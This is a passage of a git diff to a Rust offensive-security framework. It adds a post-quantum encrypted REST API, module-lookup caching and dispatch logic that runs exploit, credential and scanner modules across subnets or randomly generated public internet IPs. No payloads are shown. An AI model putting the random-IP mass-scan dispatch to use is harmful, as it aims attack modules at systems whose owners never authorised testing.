||||
}
|
||||
("DELETE", "loot", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"delete_loot"
|
||||
}
|
||||
("POST", "loot", Some("clear"), _) => "clear_loot",
|
||||
|
||||
// ── Workspace ───────────────────────────────────────────────
|
||||
("GET", "workspace", None, _) => "get_workspace",
|
||||
("POST", "workspace", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"switch_workspace"
|
||||
}
|
||||
("GET", "workspaces", None, _) => "list_workspaces",
|
||||
|
||||
// ── Jobs ────────────────────────────────────────────────────
|
||||
("GET", "jobs", None, _) => "list_jobs",
|
||||
("POST", "jobs", Some("limit"), _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"set_job_limit"
|
||||
}
|
||||
("GET", "jobs", Some(id), _) => {
|
||||
if let Ok(n) = id.parse::<u64>() {
|
||||
params.insert("id".to_string(), Value::Number(n.into()));
|
||||
} else {
|
||||
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "job id must be numeric");
|
||||
}
|
||||
merge_query_int!(params, query, ["from"]);
|
||||
"get_job"
|
||||
}
|
||||
("DELETE", "jobs", Some(id), _) => {
|
||||
if let Ok(n) = id.parse::<u64>() {
|
||||
params.insert("id".to_string(), Value::Number(n.into()));
|
||||
} else {
|
||||
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "job id must be numeric");
|
||||
}
|
||||
"kill_job"
|
||||
}
|
||||
("DELETE", "jobs", None, _) => {
|
||||
// Body-style {id: N} — accept either a number or a numeric string.
|
||||
if let Some(id_val) = body_obj.get("id") {
|
||||
if let Some(n) = id_val.as_u64() {
|
||||
params.insert("id".to_string(), Value::Number(n.into()));
|
||||
} else if let Some(s) = id_val.as_str().and_then(|s| s.parse::<u64>().ok()) {
|
||||
params.insert("id".to_string(), Value::Number(s.into()));
|
||||
} else {
|
||||
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "invalid job id");
|
||||
}
|
||||
} else {
|
||||
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "job id is required");
|
||||
}
|
||||
"kill_job"
|
||||
}
|
||||
|
||||
// ── Spool ───────────────────────────────────────────────────
|
||||
("GET", "spool", None, _) => "spool_status",
|
||||
("POST", "spool", None, _) => {
|
||||
// Body shape: {action: "start"|"stop", filename?: ...}
|
||||
let action = body_obj
|
||||
.get("action")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("");
|
||||
match action {
|
||||
"start" => {
|
||||
if let Some(f) = body_obj.get("filename") {
|
||||
params.insert("filename".to_string(), f.clone());
|
||||
}
|
||||
"spool_start"
|
||||
}
|
||||
"stop" => "spool_stop",
|
||||
_ => {
|
||||
return err_resp(
|
||||
StatusCode::BAD_REQUEST,
|
||||
"INVALID_INPUT",
|
||||
"action must be 'start' or 'stop'",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── Results ─────────────────────────────────────────────────
|
||||
("GET", "results", None, _) => "list_results",
|
||||
("GET", "results", Some(name), _) => {
|
||||
params.insert("filename".to_string(), Value::String(name.to_string()));
|
||||
"get_result"
|
||||
}
|
||||
|
||||
// ── Export ──────────────────────────────────────────────────
|
||||
("GET", "export", None, _) => {
|
||||
merge_query!(params, query, ["format"]);
|
||||
"export"
|
||||
}
|
||||
|
||||
// ── Shell (intentionally not exposed via REST until ACL design lands) ─
|
||||
("POST", "shell", None, _) => {
|
||||
return err_resp(
|
||||
StatusCode::NOT_IMPLEMENTED,
|
||||
"NOT_IMPLEMENTED",
|
||||
"Shell-over-API is disabled; use individual RPC methods (set_target, run_module, …)",
|
||||
);
|
||||
}
|
||||
|
||||
// ── Default: nothing matched ────────────────────────────────
|
||||
_ => {
|
||||
return err_resp(
|
||||
StatusCode::NOT_FOUND,
|
||||
"ROUTE_NOT_FOUND",
|
||||
&format!("No mapping for {} /api/{}", method, tail),
|
||||
);
|
||||
}
|
||||
};
|
||||
|
||||
crate::tenant::CURRENT_TENANT
|
||||
.scope(
|
||||
identity.client_name,
|
||||
invoke_rpc(rpc_method, Value::Object(params)),
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
// ─── Server Entry Point ─────────────────────────────────────────────
|
||||
|
||||
pub async fn start_api_server(
|
||||
@@ -267,8 +679,13 @@ pub async fn start_api_server(
|
||||
_verbose: bool,
|
||||
host_key_path: &std::path::Path,
|
||||
authorized_keys_path: &std::path::Path,
|
||||
passphrase: Option<&str>,
|
||||
) -> Result<()> {
|
||||
let host_identity = crate::pq_channel::HostIdentity::load_or_generate(host_key_path)
|
||||
// We don't refuse any bind address. The bootstrap path is gated by a
|
||||
// one-time enrollment token printed at startup (see /pq/register-key),
|
||||
// not by the bind interface — the token is the sole authority that
|
||||
// permits the very first authorized_keys entry.
|
||||
let host_identity = crate::pq_channel::HostIdentity::load_or_generate(host_key_path, passphrase)
|
||||
.context("Failed to load/generate PQ host key")?;
|
||||
|
||||
let authorized_keys = crate::pq_channel::load_authorized_keys(authorized_keys_path)
|
||||
@@ -292,11 +709,21 @@ pub async fn start_api_server(
|
||||
crate::pq_channel::fingerprint(&key.x25519_public, &key.mlkem_ek));
|
||||
}
|
||||
|
||||
// Generate a one-time enrollment token. Operators bootstrap remote
|
||||
// clients by POSTing their PQ public keys to /pq/register-key with this
|
||||
// token. The token is printed at startup, held only in memory, and
|
||||
// consumed on first successful registration. Subsequent key changes
|
||||
// must use the established PQ session.
|
||||
let enrollment_token = crate::pq_channel::generate_enrollment_token();
|
||||
let enrollment_token_print = enrollment_token.clone();
|
||||
|
||||
let pq_state = Arc::new(crate::pq_middleware::PqSharedState {
|
||||
sessions: pq_sessions,
|
||||
host_identity: Arc::new(host_identity),
|
||||
authorized_keys: Arc::new(authorized_keys),
|
||||
authorized_keys: tokio::sync::RwLock::new(authorized_keys),
|
||||
authorized_keys_path: authorized_keys_path.to_path_buf(),
|
||||
handshake_rate_limiter: crate::pq_middleware::new_handshake_rate_limiter(),
|
||||
enrollment_token: tokio::sync::Mutex::new(Some(enrollment_token)),
|
||||
});
|
||||
|
||||
let cleanup_sessions = pq_state.sessions.clone();
|
||||
@@ -305,14 +732,34 @@ pub async fn start_api_server(
|
||||
let mut interval = tokio::time::interval(std::time::Duration::from_secs(300));
|
||||
loop {
|
||||
interval.tick().await;
|
||||
let mut store = cleanup_sessions.write().await;
|
||||
let before = store.len();
|
||||
store.retain(|_, s| s.last_activity.elapsed() < std::time::Duration::from_secs(3600));
|
||||
let removed = before - store.len();
|
||||
if removed > 0 {
|
||||
tracing::info!("PQ session cleanup: removed {} idle sessions ({} remaining)", removed, store.len());
|
||||
// Two-phase cleanup: first take a SHORT read lock to scan
|
||||
// last_activity (locking each session's mutex non-blockingly),
|
||||
// then take the write lock only to remove the doomed entries.
|
||||
// This keeps the map readable during the bulk of the work.
|
||||
let doomed: Vec<[u8; 16]> = {
|
||||
let store = cleanup_sessions.read().await;
|
||||
let mut out = Vec::new();
|
||||
for (id, sess_arc) in store.iter() {
|
||||
if let Ok(sess) = sess_arc.try_lock() {
|
||||
if sess.last_activity.elapsed() >= std::time::Duration::from_secs(3600) {
|
||||
out.push(*id);
|
||||
}
|
||||
}
|
||||
}
|
||||
out
|
||||
};
|
||||
let removed_n = if !doomed.is_empty() {
|
||||
let mut store = cleanup_sessions.write().await;
|
||||
let mut n = 0usize;
|
||||
for id in &doomed {
|
||||
if store.remove(id).is_some() { n += 1; }
|
||||
}
|
||||
n
|
||||
} else { 0 };
|
||||
if removed_n > 0 {
|
||||
let remaining = cleanup_sessions.read().await.len();
|
||||
tracing::info!("PQ session cleanup: removed {} idle sessions ({} remaining)", removed_n, remaining);
|
||||
}
|
||||
drop(store);
|
||||
|
||||
let mut limiter = cleanup_rate_limiter.lock().await;
|
||||
limiter.retain(|_, timestamps| {
|
||||
@@ -322,10 +769,29 @@ pub async fn start_api_server(
|
||||
}
|
||||
});
|
||||
|
||||
// The PQ middleware MUST be the outermost wrapper for /api/* so it can
|
||||
// see the encrypted body before any extractor tries to parse it. Mount
|
||||
// it as a `route_layer` so it only runs on the /api/* surface and not
|
||||
// on /health, /pq/handshake, /pq/ws which speak their own protocols.
|
||||
let api_router: Router = Router::new()
|
||||
// Specific routes BEFORE the catch-all so the dispatcher doesn't
|
||||
// swallow them. Identity revocation lives behind the PQ middleware
|
||||
// so the request is AEAD-authenticated by an existing client.
|
||||
.route("/api/pq/revoke-key", post(crate::pq_middleware::revoke_key_handler))
|
||||
.route("/api/{*tail}", any(api_dispatcher))
|
||||
.route_layer(axum::middleware::from_fn(crate::pq_middleware::pq_middleware));
|
||||
|
||||
// Cap the JSON request body explicitly. Axum's default is 2 MiB, but we
|
||||
// pin it here so a future caller can't disable it upstream by accident.
|
||||
const MAX_REQUEST_BODY: usize = 2 * 1024 * 1024;
|
||||
|
||||
let app = Router::new()
|
||||
.route("/health", get(health_check))
|
||||
.route("/pq/handshake", post(crate::pq_middleware::handshake_handler))
|
||||
.route("/pq/register-key", post(crate::pq_middleware::register_key_handler))
|
||||
.route("/pq/ws", get(crate::ws::ws_upgrade))
|
||||
.merge(api_router)
|
||||
.layer(axum::extract::DefaultBodyLimit::max(MAX_REQUEST_BODY))
|
||||
.layer(axum::Extension(pq_state))
|
||||
.layer(
|
||||
ServiceBuilder::new()
|
||||
@@ -334,7 +800,19 @@ pub async fn start_api_server(
|
||||
|
||||
println!("Server running on http://{}", bind_address);
|
||||
println!("Transport: Post-Quantum encryption (ML-KEM-768 + X25519 + ChaCha20-Poly1305)");
|
||||
println!("Endpoints: GET /health, POST /pq/handshake, GET /pq/ws");
|
||||
println!(
|
||||
"Endpoints: GET /health, POST /pq/handshake, POST /pq/register-key, GET /pq/ws, ALL /api/*"
|
||||
);
|
||||
println!();
|
||||
println!("{}", "═══════════════════════════════════════════════════════════════".cyan());
|
||||
println!("{} {}", "ENROLLMENT TOKEN (one-time, prints once):".yellow().bold(), enrollment_token_print.bright_white().bold());
|
||||
println!("{}", "Bootstrap a client by POSTing its PQ public keys + this".dimmed());
|
||||
println!("{}", "token to POST /pq/register-key:".dimmed());
|
||||
println!("{}", " { token, name, x25519_pub, mlkem_ek }".dimmed());
|
||||
println!("{}", "After first successful registration the token is consumed; further".dimmed());
|
||||
println!("{}", "key changes must go through the established PQ session.".dimmed());
|
||||
println!("{}", "═══════════════════════════════════════════════════════════════".cyan());
|
||||
println!();
|
||||
|
||||
let listener = tokio::net::TcpListener::bind(bind_address)
|
||||
.await
|
||||
|
||||
+22
@@ -54,4 +54,26 @@ pub struct Cli {
|
||||
/// Launch MCP (Model Context Protocol) server over stdio
|
||||
#[arg(long)]
|
||||
pub mcp: bool,
|
||||
|
||||
/// Enable strict TLS verification for all modules. Without this flag, the
|
||||
/// framework's `permissive()` HTTP client builder accepts self-signed
|
||||
/// certs (historical behavior — many target devices use self-signed
|
||||
/// certs). Setting this flag flips the default to verifying TLS, matching
|
||||
/// the standard browser/curl posture. Modules that legitimately need
|
||||
/// permissive TLS can still opt in explicitly.
|
||||
#[arg(long)]
|
||||
pub strict_tls: bool,
|
||||
|
||||
/// Trust X-Forwarded-For (and similar) for client-IP attribution in
|
||||
/// rate limiting. Off by default — only enable when the daemon is behind
|
||||
/// a proxy you trust to scrub the header. Without this flag, the
|
||||
/// per-IP handshake limiter uses the TCP peer address.
|
||||
#[arg(long, requires = "api")]
|
||||
pub trust_proxy: bool,
|
||||
|
||||
/// Passphrase for encrypting/decrypting the PQ host key at rest.
|
||||
/// When set, the host key file is encrypted with argon2id + ChaCha20-Poly1305.
|
||||
/// If omitted in API mode, the operator is prompted interactively on first run.
|
||||
#[arg(long, requires = "api")]
|
||||
pub pq_key_passphrase: Option<String>,
|
||||
}
|
||||
|
||||
+217
-56
@@ -1,5 +1,6 @@
|
||||
pub mod creds;
|
||||
pub mod exploit;
|
||||
pub mod osint;
|
||||
pub mod plugins;
|
||||
pub mod scanner;
|
||||
|
||||
@@ -68,41 +69,37 @@ pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> R
|
||||
tracing::info!(module = %module_path, target = %raw_target, "Starting module execution");
|
||||
crate::utils::verbose_log(verbose, &format!("Attempting to run module '{}' against '{}'", module_path, raw_target));
|
||||
|
||||
// 1. Resolve module using compile-time list
|
||||
let available = discover_modules();
|
||||
|
||||
// Fuzzy matching logic
|
||||
let full_match = available.iter().find(|m| m == &module_path);
|
||||
let short_match = available.iter().find(|m| {
|
||||
m.rsplit_once('/').map(|(_, short)| short == module_path).unwrap_or(false)
|
||||
});
|
||||
|
||||
if let Some(m) = full_match {
|
||||
crate::utils::verbose_log(verbose, &format!("Exact module match found: {}", m));
|
||||
} else if let Some(m) = short_match {
|
||||
crate::utils::verbose_log(verbose, &format!("Short module match found: {}", m));
|
||||
}
|
||||
|
||||
let resolved = if let Some(m) = full_match {
|
||||
m
|
||||
} else if let Some(m) = short_match {
|
||||
m
|
||||
} else {
|
||||
use colored::*;
|
||||
crate::meprintln!("{}", format!("Unknown module '{}'.", module_path).red());
|
||||
|
||||
// Fuzzy matching
|
||||
let best_match = available.iter()
|
||||
.map(|m| (m, strsim::levenshtein(module_path, m)))
|
||||
.min_by_key(|&(_, dist)| dist);
|
||||
|
||||
if let Some((suggestion, dist)) = best_match {
|
||||
if dist < 5 {
|
||||
crate::meprintln!("{}", format!(" Did you mean: {}?", suggestion).yellow());
|
||||
// 1. Resolve module using compile-time list. The cached HashMap covers
|
||||
// both full ("category/name") and short ("name") forms in O(1), avoiding
|
||||
// the previous two linear scans.
|
||||
let available = discover_modules_cached();
|
||||
let index = module_index();
|
||||
let resolved: &str = match index.get(module_path) {
|
||||
Some(&i) => {
|
||||
let m = &available[i];
|
||||
// Distinguish exact-vs-short for the verbose log to preserve the
|
||||
// prior diagnostic output.
|
||||
if m == module_path {
|
||||
crate::utils::verbose_log(verbose, &format!("Exact module match found: {}", m));
|
||||
} else {
|
||||
crate::utils::verbose_log(verbose, &format!("Short module match found: {}", m));
|
||||
}
|
||||
m.as_str()
|
||||
}
|
||||
None => {
|
||||
use colored::*;
|
||||
crate::meprintln!("{}", format!("Unknown module '{}'.", module_path).red());
|
||||
// Did-you-mean: still O(n) but only on the miss path.
|
||||
let best_match = available.iter()
|
||||
.map(|m| (m, strsim::levenshtein(module_path, m)))
|
||||
.min_by_key(|&(_, dist)| dist);
|
||||
if let Some((suggestion, dist)) = best_match {
|
||||
if dist < 5 {
|
||||
crate::meprintln!("{}", format!(" Did you mean: {}?", suggestion).yellow());
|
||||
}
|
||||
}
|
||||
return Err(anyhow::anyhow!("Module not found"));
|
||||
}
|
||||
|
||||
return Err(anyhow::anyhow!("Module not found"));
|
||||
};
|
||||
|
||||
// 2. Resolve target
|
||||
@@ -134,9 +131,26 @@ pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> R
|
||||
let category = parts.next().unwrap_or("");
|
||||
let module_name = parts.next().unwrap_or("");
|
||||
|
||||
dispatch_with_cidr(category, module_name, &target).await?;
|
||||
// Emit a ModuleStarted event so /pq/ws subscribers (panels, MCP tools)
|
||||
// see lifecycle transitions without per-module instrumentation. Modules
|
||||
// that want to publish richer findings still call `events::emit(...)`
|
||||
// themselves.
|
||||
let resolved_owned = resolved.to_string();
|
||||
let target_owned = target.clone();
|
||||
crate::events::emit(crate::events::ModuleEvent::ModuleStarted {
|
||||
module: resolved_owned.clone(),
|
||||
target: target_owned.clone(),
|
||||
});
|
||||
|
||||
Ok(())
|
||||
let result = dispatch_with_cidr(category, module_name, &target).await;
|
||||
|
||||
crate::events::emit(crate::events::ModuleEvent::ModuleFinished {
|
||||
module: resolved_owned,
|
||||
target: target_owned,
|
||||
success: result.is_ok(),
|
||||
});
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Dispatch a module against a target, with automatic CIDR subnet expansion
|
||||
@@ -195,7 +209,7 @@ async fn dispatch_single_target(category: &str, module_name: &str, target: &str)
|
||||
let config = crate::config::get_module_config();
|
||||
if let Some(val) = config.custom_prompts.get("honeypot_detection") {
|
||||
!matches!(val.to_lowercase().as_str(), "n" | "no" | "false" | "0" | "off" | "disabled")
|
||||
} else if let Some(val) = crate::global_options::GLOBAL_OPTIONS.try_get("honeypot_detection") {
|
||||
} else if let Some(val) = crate::tenant::resolve().global_options().try_get("honeypot_detection") {
|
||||
!matches!(val.to_lowercase().as_str(), "n" | "no" | "false" | "0" | "off" | "disabled")
|
||||
} else {
|
||||
true // enabled by default
|
||||
@@ -203,7 +217,20 @@ async fn dispatch_single_target(category: &str, module_name: &str, target: &str)
|
||||
};
|
||||
|
||||
// --- Random / Internet-wide mass scan (target == "random" or "0.0.0.0") ---
|
||||
// Framework manages the loop: generates random public IPs, does a TCP port
|
||||
// If the module's run() handles mass-scan targets itself (detected at build
|
||||
// time by source-grepping for `is_mass_scan_target` / `run_mass_scan` /
|
||||
// `MassScanConfig {`), call it ONCE with the original target so it can
|
||||
// pick its own concurrency, banner, prompt cache, etc. Otherwise fall
|
||||
// through to the framework's per-IP loop below.
|
||||
if is_random && registry::mass_scan_capable_by_category(category, module_name) {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Module '{}/{}' has a native mass-scan handler — running it directly.",
|
||||
category, module_name
|
||||
).cyan());
|
||||
return registry::dispatch_by_category(category, module_name, target).await;
|
||||
}
|
||||
|
||||
// Framework-managed loop: generates random public IPs, does a TCP port
|
||||
// pre-check (if port is known via setg), enters batch mode so interactive
|
||||
// prompts are asked once and cached for all subsequent hosts.
|
||||
if is_random {
|
||||
@@ -213,19 +240,19 @@ async fn dispatch_single_target(category: &str, module_name: &str, target: &str)
|
||||
category, module_name
|
||||
).cyan().bold());
|
||||
|
||||
let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
let concurrency: usize = crate::tenant::resolve().global_options()
|
||||
.try_get("concurrency")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(50);
|
||||
let max_hosts: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
let max_hosts: usize = crate::tenant::resolve().global_options()
|
||||
.try_get("max_random_hosts")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(10_000);
|
||||
let module_timeout_secs: u64 = crate::global_options::GLOBAL_OPTIONS
|
||||
let module_timeout_secs: u64 = crate::tenant::resolve().global_options()
|
||||
.try_get("module_timeout")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(60);
|
||||
let precheck_port: Option<u16> = crate::global_options::GLOBAL_OPTIONS
|
||||
let precheck_port: Option<u16> = crate::tenant::resolve().global_options()
|
||||
.try_get("port")
|
||||
.and_then(|v| v.parse().ok());
|
||||
|
||||
@@ -240,6 +267,17 @@ async fn dispatch_single_target(category: &str, module_name: &str, target: &str)
|
||||
let fail_count = Arc::new(AtomicUsize::new(0));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
|
||||
// First module error captured during the scan. Without this the user
|
||||
// sees thousands of "err" tally rows but no clue why everything failed
|
||||
// — for example `ping_sweep` requires root and would otherwise silently
|
||||
// bail on every dispatch with only `tracing::debug!` output.
|
||||
let first_error: Arc<std::sync::OnceLock<String>> = Arc::new(std::sync::OnceLock::new());
|
||||
let early_abort = Arc::new(std::sync::atomic::AtomicBool::new(false));
|
||||
// Counts ONLY actual module-dispatch errors (Ok(Err) or timeout).
|
||||
// Distinct from fail_count, which also includes precheck rejections
|
||||
// (honeypots / closed ports). Used as the abort signal so a sea of
|
||||
// legitimately-skipped hosts doesn't trip the early-bail.
|
||||
let module_err_count = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let category = category.to_string();
|
||||
let module_name = module_name.to_string();
|
||||
@@ -249,6 +287,9 @@ async fn dispatch_single_target(category: &str, module_name: &str, target: &str)
|
||||
let mut seen = std::collections::HashSet::<std::net::IpAddr>::new();
|
||||
|
||||
for _ in 0..max_hosts {
|
||||
if early_abort.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let ip = generate_random_public_ip(&exclusions);
|
||||
if !seen.insert(ip) {
|
||||
continue;
|
||||
@@ -264,6 +305,9 @@ async fn dispatch_single_target(category: &str, module_name: &str, target: &str)
|
||||
let mname = module_name.clone();
|
||||
let pc = prompt_cache.clone();
|
||||
let cfg = parent_config.clone();
|
||||
let first_err = first_error.clone();
|
||||
let abort_flag = early_abort.clone();
|
||||
let merr = module_err_count.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
// Combined port pre-check + honeypot detection via native network lib
|
||||
@@ -292,11 +336,36 @@ async fn dispatch_single_target(category: &str, module_name: &str, target: &str)
|
||||
match dispatch_result {
|
||||
Ok(Ok(_)) => { sc.fetch_add(1, Ordering::Relaxed); }
|
||||
Ok(Err(e)) => {
|
||||
tracing::debug!("Mass scan {} failed: {:?}", ip_str, e);
|
||||
let msg = format!("{e:#}");
|
||||
tracing::debug!("Mass scan {} failed: {}", ip_str, msg);
|
||||
// Surface the first error so the user can diagnose
|
||||
// misconfigurations (e.g. ping_sweep needing root).
|
||||
if first_err.set(msg.clone()).is_ok() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[!] First module error (suppressing duplicates): {msg}").yellow()
|
||||
);
|
||||
}
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
let merrs = merr.fetch_add(1, Ordering::Relaxed) + 1;
|
||||
// Bail when the first 10 actual module dispatches all
|
||||
// error and none succeed — that's a fatal misconfig,
|
||||
// not a "no live hosts" outcome.
|
||||
if merrs >= 10 && sc.load(Ordering::Relaxed) == 0 {
|
||||
if !abort_flag.swap(true, Ordering::Relaxed) {
|
||||
crate::meprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] First {merrs} module dispatches all errored with no successes — aborting mass scan. \
|
||||
Underlying error: {msg}"
|
||||
).red().bold()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
fc.fetch_add(1, Ordering::Relaxed);
|
||||
merr.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
@@ -331,11 +400,11 @@ async fn dispatch_single_target(category: &str, module_name: &str, target: &str)
|
||||
count, target, category, module_name
|
||||
).cyan().bold());
|
||||
|
||||
let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
let concurrency: usize = crate::tenant::resolve().global_options()
|
||||
.try_get("concurrency")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(50);
|
||||
let module_timeout_secs: u64 = crate::global_options::GLOBAL_OPTIONS
|
||||
let module_timeout_secs: u64 = crate::tenant::resolve().global_options()
|
||||
.try_get("module_timeout")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(60);
|
||||
@@ -426,26 +495,75 @@ async fn dispatch_single_target(category: &str, module_name: &str, target: &str)
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Safety gate: warn about very large CIDR ranges and give time
|
||||
// estimates. The actual execution is properly streaming (lazy
|
||||
// iteration + semaphore-gated spawning), so memory stays bounded
|
||||
// regardless of range size. The risk is wall-clock time, not OOM.
|
||||
//
|
||||
// IPv6 ranges wider than /96 (4 billion+ hosts) are rejected
|
||||
// outright — even at 1000 hosts/sec that's 136 years.
|
||||
const WARN_THRESHOLD: u128 = 65_536; // warn above /16 IPv4
|
||||
const IPV6_MAX_HOSTS: u128 = 1 << 32; // /96 = 4 billion
|
||||
|
||||
if network.is_ipv6() && host_count > IPV6_MAX_HOSTS {
|
||||
return Err(anyhow::anyhow!(
|
||||
"IPv6 subnet {} expands to {} hosts — that range is too wide to iterate. \
|
||||
Use /96 or narrower, or supply specific targets in a file.",
|
||||
network, host_count
|
||||
));
|
||||
}
|
||||
|
||||
if host_count > WARN_THRESHOLD {
|
||||
let concurrency_est: u128 = crate::tenant::resolve().global_options()
|
||||
.try_get("concurrency")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(50);
|
||||
let timeout_est: u128 = crate::tenant::resolve().global_options()
|
||||
.try_get("module_timeout")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(60);
|
||||
let est_secs = (host_count / concurrency_est.max(1)) * timeout_est;
|
||||
let est_display = if est_secs > 86400 {
|
||||
format!("{:.1} days", est_secs as f64 / 86400.0)
|
||||
} else if est_secs > 3600 {
|
||||
format!("{:.1} hours", est_secs as f64 / 3600.0)
|
||||
} else {
|
||||
format!("{} minutes", est_secs / 60)
|
||||
};
|
||||
|
||||
crate::mprintln!("{}", format!(
|
||||
"[!] Large scan: {} expands to {} hosts (worst-case ~{} at concurrency {})",
|
||||
network, host_count, est_display, concurrency_est
|
||||
).yellow().bold());
|
||||
|
||||
let config = crate::config::get_module_config();
|
||||
if !config.api_mode && !crate::utils::is_batch_mode() {
|
||||
let confirmed = crate::utils::prompt_yes_no(
|
||||
&format!("Proceed with scanning all {} hosts?", host_count),
|
||||
false,
|
||||
).await?;
|
||||
|
||||
if !confirmed {
|
||||
return Err(anyhow::anyhow!(
|
||||
"CIDR scan of {} ({} hosts) aborted by user.",
|
||||
network, host_count
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let batch_guard = crate::context::enter_batch_mode();
|
||||
|
||||
// Concurrency from global options, default 50
|
||||
let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
|
||||
let concurrency: usize = crate::tenant::resolve().global_options()
|
||||
.try_get("concurrency")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(50);
|
||||
let module_timeout_secs: u64 = crate::global_options::GLOBAL_OPTIONS
|
||||
let module_timeout_secs: u64 = crate::tenant::resolve().global_options()
|
||||
.try_get("module_timeout")
|
||||
.and_then(|v| v.parse().ok())
|
||||
.unwrap_or(60);
|
||||
|
||||
// Warn for very large subnets but don't block
|
||||
if host_count > 1_000_000 {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[!] Large subnet: {} ({} hosts) — this will take a while. Concurrency: {}. Ctrl+C to stop.",
|
||||
network, host_count, concurrency
|
||||
).yellow().bold());
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Subnet: {} ({} hosts) — running '{}/{}' with concurrency {}",
|
||||
network, host_count, category, module_name, concurrency
|
||||
@@ -564,9 +682,52 @@ fn print_scan_summary(label: &str, total: usize, success: usize, failed: usize)
|
||||
crate::mprintln!(" {}", format!("Failed: {}", failed).red());
|
||||
}
|
||||
|
||||
/// Helper to aggregate all available modules from generated registry
|
||||
/// Helper to aggregate all available modules from generated registry.
|
||||
///
|
||||
/// Backed by a process-wide `OnceLock` so the underlying `format!` per
|
||||
/// module only runs once per process. Every dispatch + every `module_exists`
|
||||
/// + every fuzzy-match call hits this path, so the cache pays for itself
|
||||
/// after the first lookup. Returned `Vec` is cloned out of the cache —
|
||||
/// callers that don't need ownership can use `discover_modules_cached()`.
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
registry::all_modules()
|
||||
discover_modules_cached().clone()
|
||||
}
|
||||
|
||||
/// Borrowed view of the cached module list. Prefer this over
|
||||
/// `discover_modules()` from hot paths to avoid the `Vec` clone.
|
||||
pub fn discover_modules_cached() -> &'static Vec<String> {
|
||||
static CACHE: std::sync::OnceLock<Vec<String>> = std::sync::OnceLock::new();
|
||||
CACHE.get_or_init(registry::all_modules)
|
||||
}
|
||||
|
||||
/// Index `category/module_name` → registry slot (currently just the index in
|
||||
/// `discover_modules_cached()`). Lets `module_exists` and the dispatch
|
||||
/// short-name lookup do an `O(1)` hash check instead of two linear scans.
|
||||
fn module_index() -> &'static std::collections::HashMap<&'static str, usize> {
|
||||
static INDEX: std::sync::OnceLock<std::collections::HashMap<&'static str, usize>> =
|
||||
std::sync::OnceLock::new();
|
||||
INDEX.get_or_init(|| {
|
||||
let modules = discover_modules_cached();
|
||||
let mut map = std::collections::HashMap::with_capacity(modules.len() * 2);
|
||||
for (i, m) in modules.iter().enumerate() {
|
||||
// SAFETY: `modules` is owned by the static `OnceLock`, so its
|
||||
// contents live for `'static`. We only ever borrow into the
|
||||
// cached `Vec`, never mutate it — promoting the slice to
|
||||
// `'static` is sound because the OnceLock can never be reset.
|
||||
let m_static: &'static str = unsafe { std::mem::transmute::<&str, &'static str>(m.as_str()) };
|
||||
map.insert(m_static, i);
|
||||
// Also index by short name (post-`/`) so dispatch can match
|
||||
// unqualified module names without a separate scan.
|
||||
if let Some((_, short)) = m_static.rsplit_once('/') {
|
||||
// First-write wins: if two categories define the same short
|
||||
// name, the earliest (alphabetically) keeps the slot — that
|
||||
// matches the prior `find` behaviour, which returned the
|
||||
// first match.
|
||||
map.entry(short).or_insert(i);
|
||||
}
|
||||
}
|
||||
map
|
||||
})
|
||||
}
|
||||
|
||||
/// Check if any third-party plugins are loaded.
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
include!(concat!(env!("OUT_DIR"), "/osint_dispatch.rs"));
|
||||
+9
-4
@@ -153,10 +153,15 @@ impl GlobalConfig {
|
||||
|
||||
// Check for valid characters
|
||||
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
|
||||
static VALID_CHARS: once_cell::sync::Lazy<Regex> = once_cell::sync::Lazy::new(|| {
|
||||
Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("hardcoded regex must compile")
|
||||
});
|
||||
let valid_chars = &*VALID_CHARS;
|
||||
// Use OnceCell::get_or_try_init so a (theoretically impossible)
|
||||
// regex compile failure surfaces as a clean error instead of a
|
||||
// panic on first input. The literal pattern is hardcoded and has
|
||||
// never failed to compile in test, but proper plumbing matters.
|
||||
